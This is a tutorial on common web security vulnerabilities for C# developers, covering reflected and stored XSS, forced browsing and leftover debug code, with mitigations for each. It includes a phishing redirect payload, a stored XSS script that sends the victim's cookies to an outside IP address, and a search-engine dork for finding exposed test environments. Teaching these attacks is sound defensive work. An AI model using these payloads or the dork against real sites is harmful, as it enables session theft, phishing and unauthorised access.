C# - Common Security Threats & Vulnerabilities (Part 1/6)

1. Reflected XSS

Reflected Cross-site Scripting (XSS) is a client-side code injection vulnerability that allows malicious JavaScript payloads to be injected within a user-supplied input, which is then reflected back within the web server's response and executed on the client-side by the victim's web browser. Since the entire attack is completed in a single request and response, it is known as a Reflected Cross-site Scripting vulnerability.

Create a fake login page at www.src-yard.com.

Send an email to user.

https://www.sourceyard.com/bob/blender/issues?query=<script>document.location = 'www.src-yard.com';</script>

when user click the URL, the above code snippet will run in the context of her browser, redirecting her to the malicious website www.src-yard.com.

2. Forced Browsing

The ability to enumerate and gain access to restricted pages or other sensitive resources by invoking the URL directly is known as a Forced Browsing vulnerability.

In order to mitigate against Forceful Browsing vulnerabilities, developers must ensure appropriate permissions and access-control settings are applied for every URL and web resource in their application. 

Further, application owners must remove all private URL routes used for development and testing in production environments.

3. Stored Cross Site Scripting

Stored or Persistent Cross-site Scripting (XSS) occurs when the user-supplied input is stored on a web application and then rendered within a web page. Typical entry points are blog comments and user profiles. An attacker typically exploits this vulnerability by injecting XSS payloads on popular pages of a web application or by passing a link to a victim, tricking them into viewing the page that contains the stored XSS payload. When the victim visits the page, the payload is executed client-side by the victim's web browser.

<script>new Image().src="http://193.112.33.32/?cookie=" + document.cookie;</script>

When Alice opens Bob's issue ticket, the description is empty. But simultaneously, a GET request is logged on Bob's webserver.

In order to effectively mitigate against stored Cross-site Scripting attacks, developers must ensure all user-supplied data is HTML encoded before being rendered to the web page.

4. Leftover Debug Code

Leftover debug comments or code can provide entry points for attackers to gain access through functionality that was specifically designed for debugging or testing purposes and was not intended to be deployed with the application. Forgetting to remove these back doors creates serious security risks, as they often provide ways to bypass access controls.

Submit the following search query into Google:

inurl:"cloudable.com" AND (staging | test | dev)

https://test-admin.cloudable.com/selenium_runner?headless=1 

Developers must ensure appropriate permissions and access-control settings are applied for accessing such features. Alternatively, development teams can add conditional variables to remove debugging code when deploying in production and staging environments.

Further, development teams must proactively identify and remove developer comments that reference sensitive information including internal URL's, API endpoints or test credentials before deploying the application.

Finally, developers must protect application staging and test environments by restricting their access to specific IP ranges or addresses, thereby preventing search engines such as Google from discovering and indexing these assets.